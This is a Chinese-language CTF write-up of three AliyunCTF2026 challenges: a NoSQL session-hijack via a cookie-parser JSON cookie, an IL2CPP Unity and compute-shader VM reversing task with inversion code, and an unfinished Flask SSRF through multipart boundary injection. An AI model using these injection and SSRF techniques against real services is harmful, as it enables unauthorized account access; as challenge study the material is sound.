跳到主要内容

阿里云AliyunCTF2026题解

· 阅读需 29 分钟
Lysithea
CTF enthusiastist. Usual teamname: Lysithea, Ribom, RibomBalt

TL;DR

阿里云出品必属精品。这次做了三个题。

web easy login

index.ts
import dotenv from 'dotenv';
import express, { Request, Response, NextFunction } from 'express';
import cookieParser from 'cookie-parser';
import { MongoClient, Db, Collection } from 'mongodb';
import crypto from 'crypto';
import path from 'path';
import puppeteer from 'puppeteer';

dotenv.config();

const app = express();
const PORT = Number(process.env.PORT) || 3000;

const mongoUri = process.env.MONGO_URI || process.env.MONGO_URL || 'mongodb://127.0.0.1:27017/easy_login';
const dbName = process.env.MONGO_DB_NAME || 'easy_login';
const FLAG = process.env.FLAG || 'flag{dummy_flag_for_testing}';
const APP_INTERNAL_URL = process.env.APP_INTERNAL_URL || `http://127.0.0.1:${PORT}`;
const ADMIN_PASSWORD = crypto.randomBytes(16).toString('hex');

interface UserDoc {
username: string;
password: string;
}

interface SessionDoc {
sid: string;
username: string;
createdAt: Date;
}

interface AuthedRequest extends Request {
user?: { username: string } | null;
collections?: {
users: Collection<UserDoc> | null;
sessions: Collection<SessionDoc> | null;
};
}

let db: Db | null = null;
let usersCollection: Collection<UserDoc> | null = null;
let sessionsCollection: Collection<SessionDoc> | null = null;

const publicDir = path.join(__dirname, '../public');

async function runXssVisit(targetUrl: string): Promise<void> {
if (typeof targetUrl !== 'string' || !/^https?:\/\//i.test(targetUrl)) {
throw new Error('invalid target url');
}

const browser = await puppeteer.launch({
headless: true,
args: ['--no-sandbox', '--disable-setuid-sandbox']
});

try {
const page = await browser.newPage();

await page.goto(APP_INTERNAL_URL + '/', {
waitUntil: 'networkidle2',
timeout: 15000
});

await page.type('#username', 'admin', { delay: 30 });
await page.type('#password', ADMIN_PASSWORD, { delay: 30 });

await Promise.all([
page.click('#loginForm button[type="submit"]'),
page.waitForResponse(
(res) => res.url().endsWith('/login') && res.request().method() === 'POST',
{ timeout: 10000 }
).catch(() => undefined)
]);

await page.goto(targetUrl, { waitUntil: 'networkidle2', timeout: 15000 });

await new Promise((resolve) => setTimeout(resolve, 5000));
} finally {
await browser.close();
}
}

async function createSessionForUser(user: UserDoc): Promise<string> {
if (!sessionsCollection) {
throw new Error('sessions collection not initialized');
}

const sid = crypto.randomBytes(16).toString('hex');

await sessionsCollection.insertOne({
sid,
username: user.username,
createdAt: new Date()
});

return sid;
}

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(publicDir));

async function initMongo(): Promise<void> {
const client = new MongoClient(mongoUri);
await client.connect();
db = client.db(dbName);
usersCollection = db.collection<UserDoc>('users');
sessionsCollection = db.collection<SessionDoc>('sessions');

let adminUser = await usersCollection.findOne({ username: 'admin' });
if (!adminUser) {
await usersCollection.insertOne({
username: 'admin',
password: ADMIN_PASSWORD
});
} else {
await usersCollection.updateOne(
{ username: 'admin' },
{ $set: { password: ADMIN_PASSWORD } }
);
}

adminUser = await usersCollection.findOne({ username: 'admin' });
console.log(`[init] Admin password set to: ${ADMIN_PASSWORD}`);
}

async function sessionMiddleware(req: AuthedRequest, res: Response, next: NextFunction): Promise<void> {
const sid = req.cookies?.sid as string | undefined;
if (!sid || !sessionsCollection || !usersCollection) {
req.user = null;
return next();
}

console.log(sid, typeof sid);

try {
const session = await sessionsCollection.findOne({ sid });
console.log(`session: ${JSON.stringify(session)}`);
if (!session) {
req.user = null;
return next();
}

const user = await usersCollection.findOne({ username: session.username });
if (!user) {
req.user = null;
return next();
}

req.user = { username: user.username };
return next();
} catch (err) {
console.error('Error in session middleware:', err);
req.user = null;
return next();
}
}

app.use((req: AuthedRequest, _res: Response, next: NextFunction) => {
req.collections = {
users: usersCollection,
sessions: sessionsCollection
};
next();
});

app.use(sessionMiddleware as any);

app.get('/', (_req: AuthedRequest, res: Response) => {
res.sendFile(path.join(publicDir, 'index.html'));
});

app.post('/login', async (req: AuthedRequest, res: Response) => {
const { username, password } = req.body as { username?: unknown; password?: unknown };

if (typeof username !== 'string' || typeof password !== 'string') {
return res.status(400).json({ error: 'username and password must be strings' });
}

if (!username || !password) {
return res.status(400).json({ error: 'username and password required' });
}

if (!usersCollection) {
return res.status(500).json({ error: 'Database not initialized yet' });
}

try {
let user = await usersCollection.findOne({ username });

if (!user) {
if (username === 'admin') {
return res.status(403).json({ error: 'admin user not available' });
}
await usersCollection.insertOne({ username, password });
user = await usersCollection.findOne({ username });
}

if (!user || user.password !== password) {
return res.status(401).json({ error: 'invalid credentials' });
}

const sid = await createSessionForUser(user);

res.cookie('sid', sid, {
httpOnly: false,
sameSite: 'lax'
});

return res.json({
ok: true,
sid,
username: user.username
});
} catch (err) {
console.error('Error in /login:', err);
return res.status(500).json({ error: 'internal error' });
}
});

app.post('/logout', async (req: AuthedRequest, res: Response) => {
res.clearCookie('sid');
res.json({ ok: true });
});

app.get('/me', (req: AuthedRequest, res: Response) => {
if (!req.user) {
return res.json({ loggedIn: false });
}
res.json({
loggedIn: true,
username: req.user.username
});
});

app.get('/admin', (req: AuthedRequest, res: Response) => {
if (!req.user || req.user.username !== 'admin') {
return res.status(403).json({ error: 'admin only' });
}

res.json({ flag: FLAG });
});
app.post('/visit', async (req: Request, res: Response) => {
const { url } = req.body as { url?: unknown };

if (typeof url !== 'string') {
return res.status(400).json({ error: 'url must be a string' });
}

try {
await runXssVisit(url);
return res.json({ ok: true });
} catch (err: any) {
console.error('XSS bot error:', err);
return res.status(500).json({ error: 'bot failed', detail: String(err) });
}
});

initMongo()
.then(() => {
app.listen(PORT, () => {
console.log(`Server listening on port ${PORT}`);
});
})
.catch((err: unknown) => {
console.error('Failed to initialize MongoDB:', err);
process.exit(1);
});

真签到题,但是卡了大半天。几乎全程拷打gemini-2.5-flash未果,结果换了gemini-3一把就出了,你说这事闹得。

这个题是一个mongodb和express做的登录系统。看起来像是XSS的题,题干也提示是XSS,但是textContent + samesite=lax 防的死死的。

lax的意思是只有访问同站的顶级访问(需要改地址栏的,比如a标签、form提交、js跳转等)的GET请求才会携带cookie,其他比如img、iframe、ajax等不会携带cookie。同站的意思是前两级域名相同,端口号、协议不限(github.io算一级域名)。

关键:

  • cookie-parser中间件,默认情况下,当cookie的值以j:开头,会解析为JSON对象。
  • MongoDB.findOne传入对象时会执行NoSQL搜索,例如{"$ne": null}表示“不等于null”的所有值。
  • 别被类型断言as string | undefined吓到,编译成js后类型断言就消失了。倒不如说对于渗透来说,类型断言反而是可能的进攻点。

思路:

  • 触发一次xssbot visit,使得session池有一个合法session。
  • 设置本地浏览器cookie sid=j:{"$ne":null},此时session中间件会查询到xssbot使用的admin session,然后访问网站/admin端点,直接拿flag。

alictf{6bf421b5-13c5-4cc1-9a03-ab84c494efc9}

另外这个题花了不少时间折腾怎么用代理进行docker compose下的build

rev pixelflow

很有意思的Unity逆向题。

C# / IL2CPP部分

首先拿到程序,先跑一跑,看起来是个简单的输入框,输入flag后点提交按钮,弹出报错。

检查程序文件,这个题并不是Mono直接打包的,而是使用了IL2CPP,把Csharp代码全部编译为C++,因此无法直接用dnspy等工具分析了。

拷打AI得到工具il2cppdumper,可以用来提取il2cpp的函数符号和伪代码。这个包还附带Ghidra插件,可以在Ghidra的Jython中运行,自动给函数修改命名。同时这个函数把函数声明生成了一系列.NET DLL,但是只有声明没有实现。这些DLL可以通过dnspy打开,容易发现用户代码就是Controller类,我们似乎需要关注Check函数

提取出的符号名主要在script.json中,字符串字面量主要在stringliteral.json中。ghidra代码中,字符串字面量的地址在实际运行时是动态加载的,ghidra里只能记住偏移量,偏移量和stringliteral.json中的索引一一对应。在x64dbg动态调试时,字符串所在地址的+0x10存放的字符串长度,+0x18开始是字符串内容。

很容易找到Controller$$Check函数,但是这个函数还包括大量Controller.<<Check>b__18_0>d$$MoveNextController.<<Check>b__18_0>d$$SetStateMachine等函数,结合主函数上下文,这些应该都是匿名的异步生成器,MoveNext是生成器的业务代码,SetStateMachine是生成器的状态机代码。我们主要关注MoveNext函数。另外也需要关注Controller$$Start函数,这个函数作为初始化函数包含了大量绑定逻辑。

首先看Start函数。这个函数里大量的操作是对应了param_1的各种偏移(注意C#里param_1是RCX)。结合这里大量出现的字符串字面量,可以推断出param_1大部分偏移对应的变量名称。可以和dnspy打开的DLL中,Controller类的每个属性的FieldOffset对比,是可以对上的(另外出现顺序其实也是一致的)。后面Controller$$Check中很多临时变量的类型也是Controller。结合AI,可以得到Start函数的大致逻辑:

public class Controller : MonoBehaviour
{
// ... struct _003CCheck_003Ed__18 (async state machine) ...

// Public fields (set in inspector or via code)
public TMP_InputField InputField0;
public Button Button0;
public ComputeShader Shader0; // Identified as the target ComputeShader
public Texture2D Tex0; // Used as "CorrectTex" for K2
public Texture2D Tex1; // Used as "WrongTex" for K2
public Vector2 tileScale;
public float scrollSpeed;
public float rotationDegrees;

// Private fields (initialized in Start)
private RenderTexture TexF; // 16x1 intermediate working texture ("WorkTex")
private Texture2D TexC; // Loaded from Resources("ciTex"), used as "CiTex" for K1
private Texture2D TexV; // Loaded from Resources("coTex"), used as "CoTex" for K0
private ComputeBuffer Buffer0; // Shared state/result buffer ("SharedState")
public RenderTexture TexR; // Final output render texture ("OutputTex")

// Kernel IDs (found in Start)
private int K0; // Kernel ID for "K0"
private int K1; // Kernel ID for "K1"
private int K2; // Kernel ID for "K2"

// [AsyncStateMachine(typeof(_003CCheck_003Ed__18))]
public async void Check()
{
// ... (Async code as previously analyzed from MoveNext functions) ...
}

private void Start()
{
// 1. Bind Controller.Check() to Button0.onClick
if (Button0 != null)
{
Button0.onClick.AddListener(Check);
}

if (Shader0 != null)
{
// 2. Find Kernel IDs for all three kernels
K0 = Shader0.FindKernel("K0");
K1 = Shader0.FindKernel("K1");
K2 = Shader0.FindKernel("K2");

// 3. Configure K2 (final display kernel)
Shader0.SetTexture(K2, "OutputTex", TexR);
Shader0.SetTexture(K2, "CorrectTex", Tex0);
Shader0.SetTexture(K2, "WrongTex", Tex1);

// 4. Initialize Buffer0 (shared state/result buffer)
Buffer0 = new ComputeBuffer(1, sizeof(int)); // 1 int
int[] initialBufferData = { -1 }; // Initial state is -1
Buffer0.SetData(initialBufferData);

// 5. Assign Buffer0 to K1 and K2 as "SharedState"
Shader0.SetBuffer(K1, "SharedState", Buffer0);
Shader0.SetBuffer(K2, "SharedState", Buffer0);

// 6. Load input textures from Resources
TexC = Resources.Load<Texture2D>("ciTex");
TexV = Resources.Load<Texture2D>("coTex");

// 7. Assign loaded textures to K0 and K1 as input
Shader0.SetTexture(K0, "CoTex", TexV); // "CoTex" is TexV (coTex)
Shader0.SetTexture(K1, "CiTex", TexC); // "CiTex" is TexC (ciTex)

// 8. Initialize TexF (16x1 working texture)
TexF = new RenderTexture(16, 1, 0, RenderTextureFormat.ARGB32); // Assuming ARGB32 based on common defaults for images
TexF.enableRandomWrite = true; // Essential for CS to write to it
TexF.filterMode = FilterMode.Point;
TexF.wrapMode = TextureWrapMode.Clamp;
TexF.Create();

// 9. Assign TexF to K0 and K1 as "WorkTex"
Shader0.SetTexture(K0, "WorkTex", TexF);
Shader0.SetTexture(K1, "WorkTex", TexF);
}
}

// ... ImportAllTextures(), OnDestroy() ...
}

这里比较关键的是三个Shader核(也就是GPGPU定义的函数),K0绑定了CoTex材质,K1绑定了CiTex材质,K0,K1都绑定了WorkTex材质。K2绑定了OutputTexCorrectTexWrongTex材质。K0K1K2分别对应了shader中的三个kernel。K2只在Update里出现,在Check里没有,这个函数逻辑仅仅是用于渲染,和业务逻辑无关。

整个生成器主要分为四个部分(用0、1、2、3称呼)。经过与gemini-2.5对线,各个部分功能如下(注意这些匿名函数很难看出实际输入和输出,只能推测):

  • 部分0:检查某个字符串是否包含flag头尾(System.String$$StartsWithSystem.String$$EndsWith)。验证成功后切出子串,检查长度是否为16。
  • 部分1:新建了一个Texture2D对象,初始化了一个Color32[]数组,然后把这个Texture复制给了WorkTex
  • 部分2:这个部分调用了K0着色器。
  • 部分3:这个部分调用了K1着色器。

为了获取着色器具体内容,可以直接用AssetRipper解包Unity后导出整个项目。

Assets/Resources可以找到ciTexcoTex材质文件,都是png格式,分别是1x131x16大小。 在Assets/ComputeShaders/Shader.asset可以找到三个着色器Kernel的代码。询问AI后,结合CyberChef,知道这是DXBC格式的着色器编译后代码。正如C可以编译为汇编再到机器码,着色器代码也可以反汇编后反编译到HLSL代码。这里我用的工具叫HLSLDecompiler,除了少部分汇编指令无法识别,大部分逻辑都逆向成功,剩余主要是一些存储读取之类的逻辑,结合传入参数的也可以大致猜出来是是什么。

得到HLSL代码后,进入下一阶段。

HLSL shader部分

HLSL解读主要由AI完成。当然,我自己也看了一部分,大致能看明白一些。HLSL与C的最大区别在于,每个变量其实都是颜色向量,可以用.xyzw这种语法获取每个变量的子项。然而,没办法特别清楚知道着色器的输入输出是什么。目前只知道t0表示预加载的静态材质(例如cotex和citex),u0表示运行时动态分配的材质(也就是worktex),r/x开头的都是寄存器或者临时变量。

K0.hlsl
// ---- Created with 3Dmigoto v1.2.45 on Sun Feb  1 00:55:15 2026
Texture2D<float4> t0 : register(t0);




// 3Dmigoto declarations
#define cmp -
Texture1D<float4> IniParams : register(t120);
Texture2D<float4> StereoParams : register(t125);


void main()
{
// Needs manual fix for instruction:
// unknown dcl_: dcl_uav_typed_texture2d (float,float,float,float) u0
float4 r0,r1,r2,r3,r4;
uint4 bitmask, uiDest;
float4 fDest;

float4 x0[16];
float4 x1[32];
// Needs manual fix for instruction:
// unknown dcl_: dcl_thread_group 1, 1, 1
x1[0].x = 0;
x1[1].x = 0;
x1[2].x = 0;
x1[3].x = 0;
x1[4].x = 0;
x1[5].x = 0;
x1[6].x = 0;
x1[7].x = 0;
x1[8].x = 0;
x1[9].x = 0;
x1[10].x = 0;
x1[11].x = 0;
x1[12].x = 0;
x1[13].x = 0;
x1[14].x = 0;
x1[15].x = 0;
x1[16].x = 0;
x1[17].x = 0;
x1[18].x = 0;
x1[19].x = 0;
x1[20].x = 0;
x1[21].x = 0;
x1[22].x = 0;
x1[23].x = 0;
x1[24].x = 0;
x1[25].x = 0;
x1[26].x = 0;
x1[27].x = 0;
x1[28].x = 0;
x1[29].x = 0;
x1[30].x = 0;
x1[31].x = 0;
x0[0].x = 0;
x0[1].x = 0;
x0[2].x = 0;
x0[3].x = 0;
x0[4].x = 0;
x0[5].x = 0;
x0[6].x = 0;
x0[7].x = 0;
x0[8].x = 0;
x0[9].x = 0;
x0[10].x = 0;
x0[11].x = 0;
x0[12].x = 0;
x0[13].x = 0;
x0[14].x = 0;
x0[15].x = 0;
t0.GetDimensions(0, uiDest.x, uiDest.y, uiDest.z);
r0.x = uiDest.x;
r1.yzw = float3(0,0,0);
r2.yz = float2(0,-nan);
r3.xz = float2(0,0);
r0.yz = float2(0,0);
while (true) {
r0.w = cmp((uint)r0.z >= 1024);
if (r0.w != 0) break;
r0.w = cmp((uint)r3.x >= (uint)r0.x);
r0.w = (int)r0.w | (int)r3.z;
if (r0.w != 0) {
break;
}
r2.x = r3.x;
r4.xyzw = t0.Load(r2.xyy).xyzw;
r4.xyzw = float4(255,255,255,255) * r4.xyzw;
r4.xyzw = (uint4)r4.xyzw;
switch (r4.x) {
case 0 : x1[r4.y+0].x = r4.w;
r3.x = (int)r3.x + 1;
break;
case 1 : r0.w = x1[r4.z+0].x;
r1.x = (int)r0.w & 15;
// No code for instruction (needs manual fix):
ld_uav_typed_indexable(texture2d)(float,float,float,float) r0.w, r1.xyzw, u0.yzwx
r0.w = 255 * r0.w;
r0.w = round(r0.w);
r0.w = (uint)r0.w;
r0.w = (int)r0.w & 255;
x1[r4.y+0].x = r0.w;
r3.x = (int)r3.x + 1;
break;
case 2 : r0.w = x1[r4.y+0].x;
r1.x = x1[r4.z+0].x;
r0.w = (int)r0.w ^ (int)r1.x;
r0.w = (int)r0.w & 255;
x1[r4.y+0].x = r0.w;
r3.x = (int)r3.x + 1;
break;
case 3 : r0.w = x1[r4.y+0].x;
r1.x = x1[r4.z+0].x;
r1.x = (int)r1.x & 7;
r2.w = (int)r0.w & 255;
bitmask.w = ((~(-1 << 8)) << r1.x) & 0xffffffff; r0.w = (((uint)r0.w << r1.x) & bitmask.w) | ((uint)0 & ~bitmask.w);
r1.x = (int)-r1.x + 8;
r1.x = (uint)r2.w >> (uint)r1.x;
r0.w = (int)r0.w | (int)r1.x;
r0.w = (int)r0.w & 255;
x1[r4.y+0].x = r0.w;
r3.x = (int)r3.x + 1;
break;
case 4 : r0.w = x1[r4.z+0].x;
r1.x = (int)r4.w & 255;
r0.w = (int)r0.w * (int)r1.x;
r0.w = (int)r0.w & 255;
x1[r4.y+0].x = r0.w;
r3.x = (int)r3.x + 1;
break;
case 5 : r0.w = x1[r4.z+0].x;
r1.x = (int)r4.w & 255;
r0.w = (int)r0.w + (int)r1.x;
r0.w = (int)r0.w & 255;
x1[r4.y+0].x = r0.w;
r3.x = (int)r3.x + 1;
break;
case 6 : r0.w = x1[r4.y+0].x;
r1.x = x1[r4.z+0].x;
r0.w = (int)r0.w + (int)r1.x;
r0.w = (int)r0.w & 255;
x1[r4.y+0].x = r0.w;
r3.x = (int)r3.x + 1;
break;
case 7 : r0.w = x1[r4.y+0].x;
r0.w = (int)r0.w & 15;
r1.x = x1[r4.z+0].x;
r1.x = (int)r1.x & 255;
x0[r0.w+0].x = r1.x;
r3.x = (int)r3.x + 1;
break;
case 8 : r0.w = x1[r4.y+0].x;
r1.x = (int)r4.w & 255;
r0.y = cmp((uint)r0.w < (uint)r1.x);
r3.x = (int)r3.x + 1;
break;
case 9 : r0.w = (int)r4.w & 128;
r1.x = (int)r4.w + -256;
r0.w = r0.w ? r1.x : r4.w;
r3.y = (int)r0.w + (int)r3.x;
r0.w = cmp((int)r3.y < 0);
r1.x = cmp((int)r3.y >= (int)r0.x);
r0.w = (int)r0.w | (int)r1.x;
r2.xw = r0.ww ? r2.xz : r3.yz;
r3.x = (int)r3.x + 1;
r3.xz = r0.yy ? r2.xw : r3.xz;
break;
default :
r3.z = -1;
break;
}
r0.z = (int)r0.z + 1;
}
r0.x = x0[0].x;
r0.y = x0[1].x;
r0.z = x0[2].x;
r0.w = x0[3].x;
r1.x = x0[4].x;
r1.y = x0[5].x;
r1.z = x0[6].x;
r1.w = x0[7].x;
r2.x = x0[8].x;
r2.y = x0[9].x;
r2.z = x0[10].x;
r2.w = x0[11].x;
r3.x = x0[12].x;
r3.y = x0[13].x;
r3.z = x0[14].x;
r3.w = x0[15].x;
r0.x = (uint)r0.x;
r4.x = 0.00392156886 * r0.x;
r4.yzw = float3(0,0,1);
// No code for instruction (needs manual fix):
store_uav_typed u0.xyzw, l(0,0,0,0), r4.xyzw
r0.x = (uint)r0.y;
r4.x = 0.00392156886 * r0.x;
r4.yzw = float3(0,0,1);
// No code for instruction (needs manual fix):
store_uav_typed u0.xyzw, l(1,0,0,0), r4.xyzw
r0.x = (uint)r0.z;
r4.x = 0.00392156886 * r0.x;
r4.yzw = float3(0,0,1);
// No code for instruction (needs manual fix):
store_uav_typed u0.xyzw, l(2,0,0,0), r4.xyzw
r0.x = (uint)r0.w;
r0.x = 0.00392156886 * r0.x;
r0.yzw = float3(0,0,1);
// No code for instruction (needs manual fix):
store_uav_typed u0.xyzw, l(3,0,0,0), r0.xyzw
r0.x = (uint)r1.x;
r0.x = 0.00392156886 * r0.x;
r0.yzw = float3(0,0,1);
// No code for instruction (needs manual fix):
store_uav_typed u0.xyzw, l(4,0,0,0), r0.xyzw
r0.x = (uint)r1.y;
r0.x = 0.00392156886 * r0.x;
r0.yzw = float3(0,0,1);
// No code for instruction (needs manual fix):
store_uav_typed u0.xyzw, l(5,0,0,0), r0.xyzw
r0.x = (uint)r1.z;
r0.x = 0.00392156886 * r0.x;
r0.yzw = float3(0,0,1);
// No code for instruction (needs manual fix):
store_uav_typed u0.xyzw, l(6,0,0,0), r0.xyzw
r0.x = (uint)r1.w;
r0.x = 0.00392156886 * r0.x;
r0.yzw = float3(0,0,1);
// No code for instruction (needs manual fix):
store_uav_typed u0.xyzw, l(7,0,0,0), r0.xyzw
r0.x = (uint)r2.x;
r0.x = 0.00392156886 * r0.x;
r0.yzw = float3(0,0,1);
// No code for instruction (needs manual fix):
store_uav_typed u0.xyzw, l(8,0,0,0), r0.xyzw
r0.x = (uint)r2.y;
r0.x = 0.00392156886 * r0.x;
r0.yzw = float3(0,0,1);
// No code for instruction (needs manual fix):
store_uav_typed u0.xyzw, l(9,0,0,0), r0.xyzw
r0.x = (uint)r2.z;
r0.x = 0.00392156886 * r0.x;
r0.yzw = float3(0,0,1);
// No code for instruction (needs manual fix):
store_uav_typed u0.xyzw, l(10,0,0,0), r0.xyzw
r0.x = (uint)r2.w;
r0.x = 0.00392156886 * r0.x;
r0.yzw = float3(0,0,1);
// No code for instruction (needs manual fix):
store_uav_typed u0.xyzw, l(11,0,0,0), r0.xyzw
r0.x = (uint)r3.x;
r0.x = 0.00392156886 * r0.x;
r0.yzw = float3(0,0,1);
// No code for instruction (needs manual fix):
store_uav_typed u0.xyzw, l(12,0,0,0), r0.xyzw
r0.x = (uint)r3.y;
r0.x = 0.00392156886 * r0.x;
r0.yzw = float3(0,0,1);
// No code for instruction (needs manual fix):
store_uav_typed u0.xyzw, l(13,0,0,0), r0.xyzw
r0.x = (uint)r3.z;
r0.x = 0.00392156886 * r0.x;
r0.yzw = float3(0,0,1);
// No code for instruction (needs manual fix):
store_uav_typed u0.xyzw, l(14,0,0,0), r0.xyzw
r0.x = (uint)r3.w;
r0.x = 0.00392156886 * r0.x;
r0.yzw = float3(0,0,1);
// No code for instruction (needs manual fix):
store_uav_typed u0.xyzw, l(15,0,0,0), r0.xyzw
return;
}

K0的主要逻辑是一个虚拟机,它会把cotex的RGBA数据读取,以R作为指令分发器,GBA作为操作数。这个虚拟机的指令集如下:

操作码 (r4.x)操作描述C 风格伪代码
0SETr4.w 赋值给 x1[r4.y]x1[r4.y] = r4.w;
1READ_WORKTEX读取 WorkTex (u0) 中 x1[r4.z] (取低 4 位作为索引) 处的像素红色通道值,转换为 0-255 字节,然后存入 x1[r4.y]x1[r4.y] = (byte)(WorkTex[x1[r4.z] & 15].R * 255);
2XORx1[r4.y]x1[r4.z] 进行按位异或操作。x1[r4.y] = x1[r4.y] ^ x1[r4.z];
3ROTATE_LEFTx1[r4.y] 进行位左旋转,旋转量由 x1[r4.z] 的低 3 位 (& 7) 决定。x1[r4.y] = ROTL8(x1[r4.y], x1[r4.z] & 7);
4MULTIPLYx1[r4.z] 乘以 r4.w,结果模 256。x1[r4.y] = (x1[r4.z] * r4.w) % 256;
5ADD_IMMEDIATEx1[r4.z] 加上 r4.w,结果模 256。x1[r4.y] = (x1[r4.z] + r4.w) % 256;
6ADDx1[r4.y] 加上 x1[r4.z],结果模 256。x1[r4.y] = (x1[r4.y] + x1[r4.z]) % 256;
7MOV_TO_X0x1[r4.z] 的值移动到 x0 数组中,索引由 x1[r4.y] 的低 4 位 (& 15) 决定。x0[x1[r4.y] & 15] = x1[r4.z];
8COMPARE比较 x1[r4.y] 是否小于 r4.w,并将结果存储在一个内部标志 (r0.y) 中。r0.y = (x1[r4.y] < r4.w);
9CONDITIONAL_JUMP如果 COMPARE 标志 (r0.y) 为真,则将 CoTex 的读取指针 (r3.x) 加上 r4.w (转换为带符号 8 位偏移量),实现条件跳转。if (r0.y) r3.x = r3.x + (int8_t)r4.w;
DefaultERROR_BREAK设置错误标志 (r3.z = -1),导致循环在下一迭代中断。r3.z = -1;

我们注意到coTex.png的RGBA完全满足虚拟机的格式。可以写出这段虚拟机的等效代码:

x1[1] = 42
x1[2] = 0
while True:
x1[0] = read(x1[2])
x1[0] = x1[0] ^ x1[1]
x1[0] = rotate_left(x1[0], x1[2] & 7)
x1[0] = x1[0] * 7
x1[0] = x1[0] + x1[2]
x0[x1[2]] = x1[0]
x1[1] = x1[1] + x1[0]
x1[2] = x1[2] + 1
if (x1[2] == 16):
break

return x0

所有过程是完全可逆的(x1[1]可以通过cumsum得到)。

我们可以写出k0函数的Python实现:

def k0_inv(x):
x = np.array(x, dtype=np.uint8).copy()
assert x.shape == (16,)
x_index = np.arange(16, dtype=np.uint8)
x_cumsum = np.cumsum(x, dtype=np.uint8)
x11 = 42 + np.hstack((np.array([0], dtype=np.uint8), x_cumsum[:-1]))

x -= x_index
x = x * 183
x = (((x >> (x_index & 7)) | (x << (8 - (x_index & 7)))) & 0xFF).astype(np.uint8)
x ^= x11
return x


def k0(x):
x0 = 42
result = []
for i, a in enumerate(x):
x1 = int(a) ^ x0
x1 = ((((x1 << (i & 7)) | (x1 >> (8 - (i & 7)))) & 0xFF) + 256) % 256
x1 = (x1 * 7) % 256
x1 = (x1 + i) % 256
result.append(x1)
x0 = (x0 + x1) % 256
return np.array(result, dtype=np.uint8)
K1.hlsl
// ---- Created with 3Dmigoto v1.2.45 on Sun Feb  1 00:57:02 2026
Texture2D<float4> t0 : register(t0);




// 3Dmigoto declarations
#define cmp -
Texture1D<float4> IniParams : register(t120);
Texture2D<float4> StereoParams : register(t125);


void main()
{
// Needs manual fix for instruction:
// unknown dcl_: dcl_uav_typed_texture2d (float,float,float,float) u0
// Needs manual fix for instruction:
// unknown dcl_: dcl_uav_structured u1, 4
float4 r0,r1;
uint4 bitmask, uiDest;
float4 fDest;

// Needs manual fix for instruction:
// unknown dcl_: dcl_thread_group 16, 1, 1
r0.x = vThreadID.x;
r0.yzw = float3(0,0,0);
// No code for instruction (needs manual fix):
ld_uav_typed_indexable(texture2d)(float,float,float,float) r1.x, r0.xwww, u0.xyzw
r1.x = 255 * r1.x;
r1.x = round(r1.x);
r1.x = (uint)r1.x;
r1.x = (int)r1.x & 255;
r1.x = (int)r1.x + (int)vThreadID.x;
r1.x = (int)r1.x & 255;
r0.x = t0.Load(r0.xyz).x;
r0.x = 255 * r0.x;
r0.x = round(r0.x);
r0.x = (uint)r0.x;
r0.x = (int)r0.x & 255;
r0.x = cmp((int)r0.x != (int)r1.x);
if (r0.x != 0) {
t0[0].0 = u1.x;
}
return;
}

K1核是一个比较逻辑,读取了t0u0,也就是ciTexworktex,注意过程中对workTex额外加了一个vThread_ID,然后比较是否相等。这个核虽然没有显示循环,但实际使用了16个线程,每个线程ID处理自己的部分。

然后是这个题最大的坑:因为我们实际只逆向了Check函数异步生成器的四个部分,没有得到生成器的完整逻辑,所以会被误导。如果用x64dbg打断点打在UnityEngine.ComputeShader$$Dispatch处,会发现其实这个Kernel被调用了三次!所以说实际上为了得到正确的结果,应该把CITEX逆向一次K1,再逆向三次K0:

print(
"k0_inv^3 (citex): ",
bytes(
k0_inv(k0_inv(k0_inv(citex_output - np.arange(16, dtype=np.uint8)))).tolist()
),
)

# alictf{5haderVM_Rep3at!}

番外:RenderDoc

这个软件可以在Unity程序运行时,截取某帧渲染状态(包括使用的材质、着色器等……)

对这个题来说,必须要在着色器被加载时截取才能做到,但是K0,K1都是只有按下检查按钮的一瞬间才存在。解决方案就是结合x64dbg,把断点打在要调用着色器的入口,然后在RenderDoc里按下截取,再释放断点。

RenderDoc可以获得截取时刻加载的材质信息,并可以dump成png,对这个题调试是有帮助的。我之所以发现这个题的K0要调用三次,实际上是因为先注意到我从RenderDoc里dump出来的材质和x, k0(x)都不一样,结果阴差阳错发现k0_inv(dump)k0(x)是一样的,这才想到K0可以调用多次。

web cutter

web-cutter

app.py
from flask import Flask, request, render_template, render_template_string
from io import BytesIO
import os
import json
import httpx

app = Flask(__name__)

API_KEY = os.urandom(32).hex()
HOST = '127.0.0.1:5000'

@app.route('/admin', methods=['GET'])
def admin():
token = request.headers.get("Authorization", "")
if token != API_KEY:
return 'unauth', 403

tmpl = request.values.get('tmpl', 'index.html')
tmpl_path = os.path.join('./templates', tmpl)

if not os.path.exists(tmpl_path):
return 'Not Found', 404

tmpl_content = open(tmpl_path, 'r').read()
return render_template_string(tmpl_content), 200

@app.route('/action', methods=['POST'])
def action():
ip = request.remote_addr
if ip != '127.0.0.1':
return 'only localhost', 403

token = request.headers.get("X-Token", "")
if token != API_KEY:
return 'unauth', 403

file = request.files.get('content')
content = file.stream.read().decode()

action = request.files.get("action")
act = json.loads(action.stream.read().decode())

if act["type"] == "echo":
return content, 200
elif act["type"] == "debug":
return content.format(app), 200
else:
return 'unkown action', 400

@app.route('/heartbeat', methods=['GET', 'POST'])
def heartbeat():
text = request.values.get('text', "default")
client = request.values.get('client', "default")
token = request.values.get('token', "")

if len(text) > 300:
return "text too large", 400

action = json.dumps({"type" : "echo"})

form_data = {
'content': ('content', BytesIO(text.encode()), 'text/plain'),
'action' : ('action', BytesIO(action.encode()), 'text/json')
}

headers = {
"X-Token" : API_KEY,
}
headers[client] = token

response = httpx.post(f"http://{HOST}/action", headers=headers, files=form_data, timeout=10.0)
if response.status_code == 200:
return response.text, 200
else:
return f'action failed', 500

@app.route('/', methods=['GET'])
def index():
return render_template('index.html')

if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=5000)

一个代码只有120多行的flask题目。有三个endpoint,/heartbeat可以直接访问,内部实际上访问了/action/action限制内网IP和API_KEY。/admin需要API_KEY。API_KEY是urandom生成的。

第一部分是/heartbeat的SSRF。这个endpoint可以GET或POST传入参数,可以设置一个header,并且设置向内网API访问的其中一个文件的内容。这个题的漏洞在于可以通过伪造multipart/form-data的边界来实现修改其他被上传文件内容。由于multipart/form-data的边界是在header里指定,因此要在header里构造。由于flask读取多个相同内容header时以第一个为准,因此会忽略后面httpx自己设置的Content-type。最终结果是可以实现/actiondebug分支访问。

def vuln_format(cmd: str, files=None, stream=False, headers=None) -> str:
payload = {
"text": (
cmd
